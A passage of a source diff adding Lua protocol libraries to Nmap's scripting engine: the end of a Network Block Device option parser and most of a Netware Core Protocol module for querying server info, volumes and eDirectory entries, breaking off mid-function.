+ assert(type(options) == "table")
+
+ local otype = NBD.opt_req_types[name]
+ assert(otype)
+
+ local payload = ""
+
+ if name == "EXPORT_NAME" then
+ assert(options.export_name)
+ payload = options.export_name
+ end
+
+ return NBD.magic.cliserv_magic_new .. (">I4s4"):pack(otype, payload)
+ end,
+
+ --- Parses an option reply.
+ --
+ -- @name Comm.parse_opt_rep
+ --
+ -- @param buf String to be parsed.
+ -- @param rep Table representing the fields of the reply that have
+ -- already been parsed by the caller.
+ --
+ -- @return reply Table representing option reply on success, false
+ -- on failure.
+ parse_opt_rep = function(self, buf)
+ assert(type(buf) == "string")
+
+ if 20 - 1 > #buf then
+ stdnse.debug1("Buffer is too short to be parsed as an option reply.")
+ return false
+ end
+
+ local magic, otype, rtype, rlen, pos = (">c8I4I4I4"):unpack(buf)
+
+ if magic ~= NBD.magic.option then
+ stdnse.debug1("First 64 bits of option reply don't match expected magic: %s", stdnse.tohex(magic, {separator = ":"}))
+ return false
+ end
+
+ local otype_name = find_key(NBD.opt_req_types, otype)
+ local rtype_name = find_key(NBD.opt_rep_types, rtype)
+
+ local rep = {
+ otype = otype,
+ otype_name = otype_name,
+ rtype = rtype,
+ rtype_name = rtype_name,
+ }
+
+ if pos + rlen - 1 > #buf then
+ stdnse.debug1("Option reply payload length extends past end of buffer.")
+ return false
+ end
+
+ if rtype_name == "ACK" then
+ return rep
+ end
+
+ if rtype_name == "SERVER" then
+ if rlen < 4 then
+ stdnse.debug1("SERVER option reply payload length must be 4 or greater, but is %d.", rlen)
+ return false
+ end
+
+ local nlen, pos = (">I4"):unpack(buf, pos)
+ if pos + nlen - 1 > #buf then
+ stdnse.debug1("SERVER option reply payload name length extends past end of buffer.")
+ return false
+ end
+
+ -- An empty name represents the default export.
+ local name = ""
+ if nlen > 0 then
+ name = buf:sub(pos, pos + nlen - 1)
+ pos = pos + nlen
+ end
+ rep.export_name = name
+
+ return rep
+ end
+
+ return rep
+ end,
+
+ --- Parses the transmission flags describing an export.
+ --
+ -- @name Comm.parse_transmission_flags
+ --
+ -- @param flags Transmission flags sent by server.
+ --
+ -- @return Table of parsed flags as keys.
+ parse_transmission_flags = function(self, flags)
+ assert(type(flags) == "number")
+
+ -- This flag must always be set according to the standard.
+ if (flags & NBD.transmission_flags.HAS_FLAGS) == 0 then
+ stdnse.debug1("Transmission flags were not in a valid format, skipping.")
+ return {}
+ end
+
+ local tbl = {}
+ for k, v in pairs(NBD.transmission_flags) do
+ if (flags & v) ~= 0 then
+ tbl[k] = true
+ end
+ end
+
+ return tbl
+ end,
+}
+
+--- Finds a key corresponding with a value.
+--
+-- @name find_key
+--
+-- @param tbl Table in which to search.
+-- @param val Value to search for.
+--
+-- @return key String on success, nil on failure
+find_key = function(tbl, val)
+ assert(type(tbl) == "table")
+ assert(val ~= nil)
+
+ for k, v in pairs(tbl) do
+ if v == val then
+ return k
+ end
+ end
+
+ return nil
+end
+
+return _ENV;
diff --git a/nselib/ncp.lua b/nselib/ncp.lua
new file mode 100644
index 0000000..2c03e74
--- /dev/null
+++ b/nselib/ncp.lua
@@ -0,0 +1,1116 @@
+--- A tiny implementation of the Netware Core Protocol (NCP).
+-- While NCP was originally a Netware only protocol it's now present on
+-- both Linux and Windows platforms running Novell eDirectory.
+--
+-- The library implements a small amount of NCP functions based on various
+-- packet dumps generated by Novell software, such as the Novell Client and
+-- Console One. The functions are mainly used for enumeration and discovery
+--
+-- The library implements a number of different classes where the Helper is
+-- the one that should be the easiest to use from scripts.
+--
+-- The following classes exist:
+--
+-- * Packet
+-- - Implements functions for creating and serializing a NCP packet
+--
+-- * ResponseParser
+-- - A static class containing a bunch of functions to decode server
+-- responses
+--
+-- * Response
+-- - Class responsible for decoding NCP responses
+--
+-- * NCP
+-- - Contains the "native" NCP functions sending the actual request to the
+-- server.
+--
+-- * Helper
+-- - The preferred script interface to the library containing functions
+-- that wrap functions from the NCP class using more descriptive names
+-- and easier interface.
+--
+-- * Util
+-- - A class containing mostly decoding and helper functions
+--
+-- The following example code illustrates how to use the Helper class from a
+-- script. The example queries the server for all User objects from the root.
+--
+-- <code>
+-- local helper = ncp.Helper:new(host,port)
+-- local status, resp = helper:connect()
+-- status, resp = helper:search("[Root]", "User", "*")
+-- status = helper:close()
+-- </code>
+--
+
+--@author Patrik Karlsson <patrik@cqure.net>
+--@copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+-- Version 0.1
+-- Created 24/04/2011 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+
+local ipOps = require "ipOps"
+local match = require "match"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local unicode = require "unicode"
+_ENV = stdnse.module("ncp", stdnse.seeall)
+
+
+NCPType = {
+ CreateConnection = 0x1111,
+ ServiceRequest = 0x2222,
+ ServiceReply = 0x3333,
+ DestroyConnection = 0x5555,
+}
+
+Status = {
+ CONNECTION_OK = 0,
+ COMPLETION_OK = 0,
+}
+
+NCPFunction = {
+ GetMountVolumeList = 0x16,
+ GetFileServerInfo = 0x17,
+ Ping = 0x68,
+ EnumerateNetworkAddress = 0x7b,
+ SendFragmentedRequest = 0x68,
+}
+
+NCPVerb = {
+ Resolve = 1,
+ List = 5,
+ Search = 6,
+}
+
+-- The NCP Packet
+Packet = {
+
+ --- Creates a new instance of Packet
+ -- @return o instance of Packet
+ new = function(self)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.ncp_ip = { signature = "DmdT", replybuf = 0, version = 1 }
+ o.task = 1
+ o.func = 0
+ return o
+ end,
+
+ --- Sets the NCP Reply buffer size
+ -- @param n number containing the buffer size
+ setNCPReplyBuf = function(self, n) self.ncp_ip.replybuf = n end,
+
+ --- Sets the NCP packet length
+ -- @param n number containing the length
+ setNCPLength = function(self, n) self.ncp_ip.length = n end,
+
+ --- Gets the NCP packet length
+ -- @return n number containing the NCP length
+ getNCPLength = function(self) return self.ncp_ip.length end,
+
+ --- Sets the NCP packet type
+ -- @param t number containing the NCP packet type
+ setType = function(self, t) self.type = t end,
+
+ --- Gets the NCP packet type
+ -- @return type number containing the NCP packet type
+ getType = function(self) return self.type end,
+
+ --- Sets the NCP packet function
+ -- @param t number containing the NCP function
+ setFunc = function(self, f) self.func = f end,
+
+ --- Gets the NCP packet function
+ -- @return func number containing the NCP packet function
+ getFunc = function(self) return self.func end,
+
+ --- Sets the NCP sequence number
+ -- @param seqno number containing the sequence number
+ setSeqNo = function(self, n) self.seqno = n end,
+
+ --- Sets the NCP connection number
+ -- @param conn number containing the connection number
+ setConnNo = function(self, n) self.conn = n end,
+
+ --- Gets the NCP connection number
+ -- @return conn number containing the connection number
+ getConnNo = function(self) return self.conn end,
+
+ --- Sets the NCP sub function
+ -- @param subfunc number containing the subfunction
+ setSubFunc = function(self, n) self.subfunc = n end,
+
+ --- Gets the NCP sub function
+ -- @return subfunc number containing the subfunction
+ getSubFunc = function(self) return self.subfunc end,
+
+ --- Gets the Sequence number
+ -- @return seqno number containing the sequence number
+ getSeqNo = function(self) return self.seqno end,
+
+ --- Sets the packet length
+ -- @param len number containing the packet length
+ setLength = function(self, n) self.length = n end,
+
+ --- Sets the packet data
+ -- @param data string containing the packet data
+ setData = function(self, data) self.data = data end,
+
+ --- Gets the packet data
+ -- @return data string containing the packet data
+ getData = function(self) return self.data end,
+
+ --- Sets the packet task
+ -- @param task number containing the packet number
+ setTask = function(self, task) self.task = task end,
+
+ --- "Serializes" the packet to a string
+ __tostring = function(self)
+ local UNKNOWN = 0
+ local data = self.ncp_ip.signature
+ .. string.pack(">I4I4I4I2BBBBB",
+ self.ncp_ip.length or 0, self.ncp_ip.version,
+ self.ncp_ip.replybuf, self.type, self.seqno,
+ self.conn, self.task, UNKNOWN, self.func )
+ .. (self.length and string.pack(">I2", self.length) or "")
+ .. (self.subfunc and string.pack("B", self.subfunc) or "")
+ .. (self.data or "")
+
+ return data
+ end,
+
+}
+
+-- Parses different responses into suitable tables
+ResponseParser = {
+
+ --- Determines what parser to call based on the contents of the client
+ -- request and server response.
+ -- @param req instance of Packet containing the request to the server
+ -- @param resp instance of Response containing the server response
+ -- @return status true on success, false on failure
+ -- @return resp table (on success) containing the decoded response
+ -- @return err string (on failure) containing the error message
+ parse = function(req, resp)
+ local func, subfunc, typ = req:getFunc(), req:getSubFunc(), req:getType()
+
+ if ( ResponseParser[func] ) then
+ return ResponseParser[func](resp)
+ elseif ( NCPFunction.SendFragmentedRequest == func ) then
+ if ( 1 == subfunc ) then
+ return ResponseParser.Ping(resp)
+ elseif ( 2 == subfunc ) then
+ local data = req:getData()
+ if ( #data < 21 ) then
+ return false, "Invalid NCP request, could not parse"
+ end
+ local verb, pos = string.unpack("<I4", data, 17)
+
+ if ( NCPVerb.Resolve == verb ) then
+ return ResponseParser.Resolve(resp)
+ elseif ( NCPVerb.List == verb ) then
+ return ResponseParser.List(resp)
+ elseif ( NCPVerb.Search == verb ) then
+ return ResponseParser.Search(resp)
+ end
+ return false, "ResponseParser: Failed to parse response"
+ end
+ end
+
+ return false, "ResponseParser: Failed to parse response"
+ end,
+
+ --- Decodes a GetFileServerInfo response
+ -- @param resp string containing the response as received from the server
+ -- @return status true on success, false on failure
+ -- @return response table (if status is true) containing:
+ -- <code>srvname</code>
+ -- <code>os_major</code>
+ -- <code>os_minor</code>
+ -- <code>conns_supported</code>
+ -- <code>conns_inuse</code>
+ -- <code>vols_supported</code>
+ -- <code>os_rev</code>
+ -- <code>sft_support</code>
+ -- <code>tts_level</code>
+ -- <code>conns_max_use</code>
+ -- <code>acct_version</code>
+ -- <code>vap_version</code>
+ -- <code>qms_version</code>
+ -- <code>print_version</code>
+ -- <code>internet_bridge_ver</code>
+ -- <code>mixed_mode_path</code>
+ -- <code>local_login_info</code>
+ -- <code>product_major</code>
+ -- <code>product_minor</code>
+ -- <code>product_rev</code>
+ -- <code>os_lang_id</code>
+ -- <code>support_64_bit</code>
+ -- @return error message (if status is false)
+ [NCPFunction.GetFileServerInfo] = function(resp)
+ local data = resp:getData()
+ local len = #data
+
+ if ( len < 78 ) then
+ return false, "Failed to decode GetFileServerInfo"
+ end
+
+ local result = {}
+ local pos
+
+ result.srvname, result.os_major, result.os_minor,
+ result.conns_supported, result.conns_inuse,
+ result.vols_supported, result.os_rev, result.sft_support,
+ result.tts_level, result.conns_max_use, result.acct_version,
+ result.vap_version, result.qms_version, result.print_version,
+ result.virt_console_ver, result.sec_restrict_ver,
+ result.internet_bridge_ver, result.mixed_mode_path,
+ result.local_login_info, result.product_major,
+ result.product_minor, result.product_rev, result.os_lang_id,
+ result.support_64_bit, pos = string.unpack(">c48BBI2I2I2BBBI2BBBBBBBBBI2I2I2BB", data)
+
+ return true, result
+ end,
+
+ --- Decodes a GetMountVolumeList response
+ -- @param resp string containing the response as received from the server
+ -- @return status true on success, false on failure
+ -- @return response table of vol entries (if status is true)
+ -- Each vol entry is a table containing the following fields:
+ -- <code>vol_no</code> and <code>vol_name</code>
+ -- @return error message (if status is false)
+ [NCPFunction.GetMountVolumeList] = function(resp)
+ local data = resp:getData()
+ local len = #data
+
+ local items, next_vol_no, pos = string.unpack("<I4I4", data)
+ local vols = {}
+ for i=1, items do
+ local vol = {}
+ vol.vol_no, vol.vol_name, pos = string.unpack("<I4s1", data, pos)
+ table.insert(vols, vol)
+ end
+ return true, vols
+ end,
+
+ --- Decodes a Ping response
+ -- @param resp string containing the response as received from the server
+ -- @return status true on success, false on failure
+ -- @return response table (if status is true) containing:
+ -- <code>tree_name</code>
+ -- @return error message (if status is false)
+ Ping = function(resp)
+ local data = resp:getData()
+ local len = #data
+ local pos
+ local result = {}
+
+ if ( len < 40 ) then return false, "NCP Ping result too short" end
+
+ result.nds_version, pos = string.unpack("B", data)
+ -- move to the offset of the
+ pos = pos + 7
+ result.tree_name, pos = string.unpack("c32", data, pos)
+
+ result.tree_name = (result.tree_name:match("^([^_]*)_*$"))
+
+ return true, result
+ end,
+
+ --- Decodes a EnumerateNetworkAddress response
+ -- @param resp string containing the response as received from the server
+ -- @return status true on success, false on failure
+ -- @return response table (if status is true) containing:
+ -- <code>ip</code>, <code>port</code> and <code>proto</code>
+ -- @return error message (if status is false)
+ [NCPFunction.EnumerateNetworkAddress] = function(resp)
+ local pos, result = 1, {}
+ local items
+ local data = resp:getData()
+ local len = #data
+
+ result.time_since_boot, result.console_version, result.console_revision,
+ result.srvinfo_flags, result.guid, result.next_search,
+ items, pos = string.unpack("<I4 BBI2 c16 I4I4", data)
+
+ local function DecodeAddress(data, pos)
+ local COMM_TYPES = { [5] = "udp", [6] = "tcp" }
+ local comm_type, port, ip, _
+ comm_type, _, _, _, port, ip, pos = string.unpack(">BBI4I2I2I4", data, pos)
+
+ return pos, { port = port, ip = ipOps.fromdword(ip),
+ proto = COMM_TYPES[comm_type] or "unknown" }
+ end
+
+ if ( ( pos - 1 ) + (items * 14 ) > len ) then
+ return false, "EnumerateNetworkAddress packet too short"
+ end
+
+ result.addr = {}
+ for i=1, items do
+ local addr = {}
+ pos, addr = DecodeAddress(data, pos)
+ table.insert(result.addr, addr )
+ end
+ return true, result
+ end,
+
+
+ --- Decodes a Resolve response
+ -- @param resp string containing the response as received from the server
+ -- @return status true on success, false on failure
+ -- @return response table (if status is true) containing:
+ -- <code>tag</code> and <code>id</code>
+ -- @return error message (if status is false)
+ Resolve = function(resp)
+ local data = resp:getData()
+ local len = #data
+
+ if ( len < 12 ) then
+ return false, "ResponseParser: NCP Resolve, packet too short"
+ end
+
+ local frag_size, frag_handle, comp_code, pos = string.unpack("<I4I4I4", data)
+
+ if ( len < 38 ) then
+ return false, "ResponseParser: message too short"
+ end
+
+ if ( comp_code ~= 0 ) then
+ return false, ("ResponseParser: Completion code returned" ..
+ " non-zero value (%d)"):format(comp_code)
+ end
+
+ local tag, entry, pos = string.unpack("<I4I4", data, pos)
+
+ return true, { tag = tag, id = entry }
+ end,
+
+
+ --- Decodes a Search response
+ -- @param resp string containing the response as received from the server
+ -- @return status true on success, false on failure
+ -- @return entries table (if status is true) as return by:
+ -- <code>EntryDecoder</code>
+ -- @return error message (if status is false)
+ Search = function(resp)
+ local data = resp:getData()
+ local len = #data
+ local entries = {}
+
+ if ( len < 12 ) then
+ return false, "ResponseParser: NCP Resolve, packet too short"
+ end
+
+ local frag_size, frag_handle, comp_code, iter_handle, pos = string.unpack("<I4I4I4I4", data)
+
+ if ( comp_code ~= 0 ) then
+ return false, ("ResponseParser: Completion code returned" ..
+ " non-zero value (%d)"):format(comp_code)
+ end
+
+ pos = pos + 12
+ local entry_count
+ entry_count, pos = string.unpack("<I4", data, pos)
+
+ for i=1, entry_count do
+ local entry
+ pos, entry = ResponseParser.EntryDecoder(data, pos)
+ -- pad for unknown trailing data in searches
+ pos = pos + 8
+ table.insert(entries, entry)
+ end
+ return true, entries
+ end,
+
+ --- The EntryDecoder is used by the Search and List function, for decoding
+ -- the returned entries.
+ -- @param data containing the response as returned by the server
+ -- @param pos number containing the offset into data to start decoding
+ -- @return pos number containing the new offset after decoding
+ -- @return entry table containing the decoded entry, currently it contains
+ -- one or more of the following fields:
+ -- <code>flags</code>
+ -- <code>mod_time</code>
+ -- <code>sub_count</code>
+ -- <code>baseclass</code>
+ -- <code>rdn</code>
+ -- <code>name</code>
+ EntryDecoder = function(data, pos)
+
+ -- The InfoFlags class takes a numeric value and facilitates
+ -- bit decoding into InfoFlag fields, the current supported fields
+ -- are:
+ -- <code>Output</code>
+ -- <code>Entry</code>
+ -- <code>Count</code>
+ -- <code>ModTime</code>
+ -- <code>BaseClass</code>
+ -- <code>RelDN</code>
+ -- <code>DN</code>
+ local InfoFlags = {
+ -- Creates a new instance
+ -- @param val number containing the numeric representation of flags
+ -- @return a new instance of InfoFlags
+ new = function(self, val)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.val = val
+ o:parse()
+ return o
+ end,
+
+ -- Parses the numeric value and creates a number of class fields
+ parse = function(self)
+ local fields = { "Output", "_u1", "Entry", "Count", "ModTime",
+ "_u2", "_u3", "_u4", "_u5", "_u6", "_u7", "BaseClass",
+ "RelDN", "DN" }
+ local bits = 1
+ for _, field in ipairs(fields) do
+ self[field] = ((self.val & bits) == bits)
+ bits = bits * 2
+ end
+ end
+ }
+
+ local entry = {}
+ local f, len
+ f, pos = string.unpack("<I4", data, pos)
+ local iflags = InfoFlags:new(f)
+
+ if ( iflags.Entry ) then
+ entry.flags, entry.sub_count, pos = string.unpack("<I4I4", data, pos)
+ end
+
+ if ( iflags.ModTime ) then
+ entry.mod_time, pos = string.unpack("<I4", data, pos)
+ end
+
+ if ( iflags.BaseClass ) then
+ len, pos = string.unpack("<I4", data, pos)
+ entry.baseclass, pos = string.unpack("c" .. len, data, pos)
+ entry.baseclass = unicode.utf16to8(entry.baseclass)
+ entry.baseclass = Util.CToLuaString(entry.baseclass)
+ pos = ( len % 4 == 0 ) and pos or pos + ( 4 - ( len % 4 ) )
+ end
+
+ if ( iflags.RelDN ) then
+ len, pos = string.unpack("<I4", data, pos)
+ entry.rdn, pos = string.unpack("c" .. len, data, pos)
+ entry.rdn = unicode.utf16to8(entry.rdn)
+ entry.rdn = Util.CToLuaString(entry.rdn)
+ pos = ( len % 4 == 0 ) and pos or pos + ( 4 - ( len % 4 ) )
+ end
+
+ if ( iflags.DN ) then
+ len, pos = string.unpack("<I4", data, pos)
+ entry.name, pos = string.unpack("c" .. len, data, pos)
+ entry.name = unicode.utf16to8(entry.name)
+ entry.name = Util.CToLuaString(entry.name)
+ pos = ( len % 4 == 0 ) and pos or pos + ( 4 - ( len % 4 ) )
+ end
+
+ return pos, entry
+ end,
+
+
+ --- Decodes a List response
+ -- @param resp string containing the response as received from the server
+ -- @return status true on success, false on failure
+ -- @return entries table (if status is true) as return by:
+ -- <code>EntryDecoder</code>
+ -- @return error message (if status is false)
+ List = function(resp)
+ local data = resp:getData()
+ local len = #data
+
+ if ( len < 12 ) then
+ return false, "ResponseParser: NCP Resolve, packet too short"
+ end
+
+ local frag_size, frag_handle, comp_code, iter_handle, pos = string.unpack("<I4I4I4I4", data)
+
+ if ( comp_code ~= 0 ) then
+ return false, ("ResponseParser: Completion code returned" ..
+ " non-zero value (%d)"):format(comp_code)
+ end
+
+ local entry_count
+ entry_count, pos = string.unpack("<I4", data, pos)
+
+ local entries = {}
+
+ for i=1, entry_count do
+ local entry = {}
+ pos, entry = ResponseParser.EntryDecoder(data, pos)
+ table.insert(entries, entry)
+ end
+
+ return true, entries
+ end,
+}
+
+-- The response class holds the NCP data. An instance is usually created
+-- using the fromSocket static function that reads a NCP packet of the
+-- the socket and makes necessary parsing.
+Response = {
+
+ --- Creates a new Response instance
+ -- @param header string containing the header part of the response
+ -- @param data string containing the data part of the response
+ -- @return o new instance of Response
+ new = function(self, header, data)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.header = header
+ o.data = data
+ o:parse()
+ return o
+ end,
+
+ --- Parses the Response
+ parse = function(self)
+ local pos, _
+
+ self.signature, self.length, self.type,
+ self.seqno, self.conn, _, self.compl_code,
+ self.status_code, pos = string.unpack(">I4 I4 I2BBI2BB", self.header)
+
+ if ( self.data ) then
+ local len = #self.data - pos
+ if ( ( #self.data - pos ) ~= ( self.length - 33 ) ) then
+ stdnse.debug1("NCP packet length mismatched")
+ return
+ end
+ end
+ end,
+
+ --- Gets the sequence number
+ -- @return seqno number
+ getSeqNo = function(self) return self.seqno end,
+
+ --- Gets the connection number
+ -- @return conn number
+ getConnNo = function(self) return self.conn end,
+
+ --- Gets the data portion of the response
+ -- @return data string
+ getData = function(self) return self.data end,
+
+ --- Gets the header portion of the response
+ getHeader = function(self) return self.header end,
+
+ --- Returns true if there are any errors
+ -- @return error true if the response error code is anything else than OK
+ hasErrors = function(self)
+ return not( ( self.compl_code == Status.COMPLETION_OK ) and
+ ( self.status_code == Status.CONNECTION_OK ) )
+
+ end,
+
+ --- Creates a Response instance from the data read of the socket
+ -- @param socket socket connected to server and ready to receive data
+ -- @return Response containing a new Response instance
+ fromSocket = function(socket)
+ local status, header = socket:receive_buf(match.numbytes(16), true)
+ if ( not(status) ) then return false, "Failed to receive data" end
+
+ local sig, len, pos = string.unpack(">I4I4", header)
+ if ( len < 8 ) then return false, "NCP packet too short" end
+
+ local data
+
+ if ( 0 < len - 16 ) then
+ status, data = socket:receive_buf(match.numbytes(len - 16), true)
+ if ( not(status) ) then return false, "Failed to receive data" end
+ end
+ return true, Response:new(header, data)
+ end,
+
+ --- "Serializes" the Response instance to a string
+ __tostring = function(self)
+ return self.header .. self.data
+ end,
+
+}
+
+-- The NCP class
+NCP = {
+
+ --- Creates a new NCP instance
+ -- @param socket containing a socket connected to the NCP server
+ -- @return o instance of NCP
+ new = function(self, socket)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.socket = socket
+ o.seqno = -1
+ o.conn = 0
+ return o
+ end,
+
+ --- Handles sending and receiving a NCP message
+ -- @param p Packet containing the request to send to the server
+ -- @return status true on success false on failure
+ -- @return response table (if status is true) containing the parsed
+ -- response
+ -- @return error string (if status is false) containing the error
+ Exch = function(self, p)
+ local status, err = self:SendPacket(p)
+ if ( not(status) ) then return status, err end
+
+ local status, resp = Response.fromSocket(self.socket)
+ if ( not(status) or resp:hasErrors() ) then return false, resp end
+
+ self.seqno = resp:getSeqNo()
+ self.conn = resp:getConnNo()
+
+ return ResponseParser.parse(p, resp)
+ end,
+
+ --- Sends a packet to the server
+ -- @param p Packet to be sent to the server
+ -- @return status true on success, false on failure
+ -- @return err string containing the error message on failure
+ SendPacket = function(self, p)
+ if ( not(p:getSeqNo() ) ) then p:setSeqNo(self.seqno + 1) end
+ if ( not(p:getConnNo() ) ) then p:setConnNo(self.conn) end
+
+ if ( not(p:getNCPLength()) ) then
+ local len = #(tostring(p))
+ p:setNCPLength(len)
+ end
+
+ local status, err = self.socket:send(tostring(p))
+ if ( not(status) ) then return status, "Failed to send data" end
+
+ return true
+ end,
+
+ --- Creates a connection to the NCP server
+ -- @return status true on success, false on failure
+ CreateConnect = function(self)
+ local p = Packet:new()
+ p:setType(NCPType.CreateConnection)
+
+ local resp = self:Exch( p )
+ return true
+ end,
+
+ --- Destroys a connection established with the NCP server
+ -- @return status true on success, false on failure
+ DestroyConnect = function(self)
+ local p = Packet:new()
+ p:setType(NCPType.DestroyConnection)
+
+ local resp = self:Exch( p )
+ return true
+ end,
+
+ --- Gets file server information
+ -- @return status true on success, false on failure
+ -- @return response table (if status is true) containing:
+ -- <code>srvname</code>
+ -- <code>os_major</code>
+ -- <code>os_minor</code>
+ -- <code>conns_supported</code>
+ -- <code>conns_inuse</code>
+ -- <code>vols_supported</code>
+ -- <code>os_rev</code>
+ -- <code>sft_support</code>
+ -- <code>tts_level</code>
+ -- <code>conns_max_use</code>
+ -- <code>acct_version</code>
+ -- <code>vap_version</code>
+ -- <code>qms_version</code>
+ -- <code>print_version</code>
+ -- <code>internet_bridge_ver</code>
+ -- <code>mixed_mode_path</code>
+ -- <code>local_login_info</code>
+ -- <code>product_major</code>
+ -- <code>product_minor</code>
+ -- <code>product_rev</code>
+ -- <code>os_lang_id</code>
+ -- <code>support_64_bit</code>
+ -- @return error message (if status is false)
+ GetFileServerInfo = function(self)
+ local p = Packet:new()
+ p:setType(NCPType.ServiceRequest)
+ p:setFunc(NCPFunction.GetFileServerInfo)
+ p:setNCPReplyBuf(128)
+ p:setLength(1)
+ p:setSubFunc(17)
+ return self:Exch( p )
+ end,
+
+
+ -- NEEDS authentication, disabled for now
+ --
+ -- Get the logged on user for the specified connection
+ -- @param conn_no number containing the connection number
+ -- GetStationLoggedInfo = function(self, conn_no)
+ -- local p = Packet:new()
+ -- p:setType(NCPType.ServiceRequest)
+ -- p:setFunc(NCPFunction.GetFileServerInfo)
+ -- p:setNCPReplyBuf(62)
+ -- p:setLength(5)
+ -- p:setSubFunc(28)
+ -- p:setTask(4)
+ --
+ -- local data = string.pack("<I4", conn_no)
+ -- p:setData(data)
+ -- return self:Exch( p )
+ -- end,
+
+ --- Sends a PING to the server which responds with the tree name
+ -- @return status true on success, false on failure
+ -- @return response table (if status is true) containing:
+ -- <code>tree_name</code>
+ -- @return error message (if status is false)
+ Ping = function(self)
+ local p = Packet:new()
+ p:setType(NCPType.ServiceRequest)
+ p:setFunc(NCPFunction.Ping)
+ p:setSubFunc(1)
+ p:setNCPReplyBuf(45)
+ p:setData("\0\0\0")
+
+ return self:Exch( p )
+ end,
+
+ --- Enumerates the IP addresses associated with the server
+ -- @return status true on success, false on failure
+ -- @return response table (if status is true) containing:
+ -- <code>ip</code>, <code>port</code> and <code>proto</code>
+ -- @return error message (if status is false)
+ EnumerateNetworkAddress = function(self)
+ local p = Packet:new()
+ p:setType(NCPType.ServiceRequest)
+ p:setFunc(NCPFunction.EnumerateNetworkAddress)
+ p:setSubFunc(17)
+ p:setNCPReplyBuf(4096)
+ p:setData("\0\0\0\0")
+ p:setLength(5)
+ return self:Exch( p )
+ end,
+
+ --- Resolves an directory entry id from a name
+ -- @param name string containing the name to resolve
+ -- @return status true on success, false on failure
+ -- @return response table (if status is true) containing:
+ -- <code>tag</code> and <code>id</code>
+ -- @return error message (if status is false)
+ ResolveName = function(self, name)
+ local p = Packet:new()
+ p:setType(NCPType.ServiceRequest)
+ p:setFunc(NCPFunction.SendFragmentedRequest)
+ p:setSubFunc(2)
+ p:setNCPReplyBuf(4108)
+
+ local pad = (4 - ( #name % 4 ) )
+ name = Util.ZeroPad(name, #name + pad)
+
+ local w_name = unicode.utf8to16(name)
+ local frag_handle, frag_size = 0xffffffff, 64176
+ local msg_size, unknown, proto_flags, nds_verb = 44 + #w_name, 0, 0, 1
+ local nds_reply_buf, version, flags, scope = 4096, 1, 0x2062, 0
+ -- TODO: unknown2 is not used. Should it be?
+ local unknown2 = 0x0e
+
+ local data = {
+ string.pack("<I4I4I4 I2I2I4I4I4I2 I2I4 s4", frag_handle, frag_size, msg_size,
+ unknown, proto_flags, nds_verb, nds_reply_buf, version, flags,
+ unknown, scope, w_name)
+ }
+
+ local comms = { { transport = "TCP" } }
+ local walkers= { { transport = "TCP" } }
+ local PROTOCOLS = { ["TCP"] = 9 }
+
+ data[#data+1] = string.pack("<I4", #comms)
+ for _, comm in ipairs(comms) do
+ data[#data+1] = string.pack("<I4", PROTOCOLS[comm.transport])
+ end
+
+ data[#data+1] = string.pack("<I4", #walkers)
+ for _, walker in ipairs(walkers) do
+ data[#data+1] = string.pack("<I4", PROTOCOLS[walker.transport])
+ end
+
+ p:setData(table.concat(data))
+ return self:Exch( p )
+ end,
+
+ --- Gets a list of volumes from the server
+ -- @return status true on success, false on failure
+ -- @return response table of vol entries (if status is true)
+ -- Each vol entry is a table containing the following fields:
+ -- <code>vol_no</code> and <code>vol_name</code>
+ -- @return error message (if status is false)
+ GetMountVolumeList = function(self)
+ local p = Packet:new()
+ p:setType(NCPType.ServiceRequest)
+ p:setFunc(NCPFunction.GetMountVolumeList)
+ p:setSubFunc(52)
+ p:setNCPReplyBuf(538)
+ p:setTask(4)
+ p:setLength(12)
+
+ local start_vol = 0
+ local vol_req_flags = 1
+ local src_name_space = 0
+
+ local data = string.pack("<I4I4I4", start_vol, vol_req_flags, src_name_space )
+ p:setData(data)
+ return self:Exch( p )
+ end,
+
+ --- Searches the directory
+ -- @param base entry as resolved by <code>Resolve</code>
+ -- @param class string containing a class name (or * wildcard)
+ -- @param name string containing a entry name (or * wildcard)
+ -- @param options table containing one or more of the following
+ -- <code>numobjs</code>
+ -- @return status true on success false on failure
+ -- @return entries table (if status is true) as return by:
+ -- <code>ResponseDecoder.EntryDecoder</code>
+ -- @return error string (if status is false) containing the error
+ Search = function(self, base, class, name, options)
+ assert( ( base and base.id ), "No base entry was specified")
+
+ local class = class and class .. '\0' or '*\0'
+ local name = name and name .. '\0' or '*\0'
+ local w_name = unicode.utf8to16(name)
+ local w_class = unicode.utf8to16(class)
+ local options = options or {}
+ local p = Packet:new()
+ p:setType(NCPType.ServiceRequest)
+ p:setFunc(NCPFunction.SendFragmentedRequest)
+ p:setSubFunc(2)
+ p:setNCPReplyBuf(64520)
+ p:setTask(5)
+
+ local frag_handle, frag_size, msg_size = 0xffffffff, 64176, 98
+ local unknown, proto_flags, nds_verb, version, flags = 0, 0, 6, 3, 0
+ local nds_reply_buf = 64520
+ local iter_handle = 0xffffffff
+ local repl_type = 2 -- base and all subordinates
+ local numobjs = options.numobjs or 0
+ local info_types = 1 -- Names
+ local info_flags = 0x0000381d
+ -- a bunch of unknowns
+ local u2, u3, u4, u5, u6, u7, u8, u9 = 0, 0, 2, 2, 0, 0x10, 0, 0x11
+
+ local data = string.pack("<I4I4I4 I2I2I4 I4 I4 I4 I4 I4 I4 I4 I4 I4 I4 I4 I4 I4 I4 I4 s4 I4 I4 s4",
+ frag_handle, frag_size, msg_size, unknown, proto_flags,
+ nds_verb, nds_reply_buf, version, flags, iter_handle,
+ base.id, repl_type, numobjs, info_types, info_flags, u2, u3, u4,
+ u5, u6, u7, w_name, u8, u9, w_class )
+ p:setData(data)
+ return self:Exch( p )
+ end,
+
+ --- Lists the contents of entry
+ -- @param entry entry as resolved by <code>Resolve</code>
+ -- @return status true on success false on failure
+ -- @return entries table (if status is true) as return by:
+ -- <code>ResponseDecoder.EntryDecoder</code>
+ -- @return error string (if status is false) containing the error
+ List = function(self, entry)
+ local p = Packet:new()
+ p:setType(NCPType.ServiceRequest)
+ p:setFunc(NCPFunction.SendFragmentedRequest)
+ p:setSubFunc(2)
+ p:setNCPReplyBuf(4112)
+ p:setTask(2)
+
+ local frag_handle, frag_size = 0xffffffff, 64176
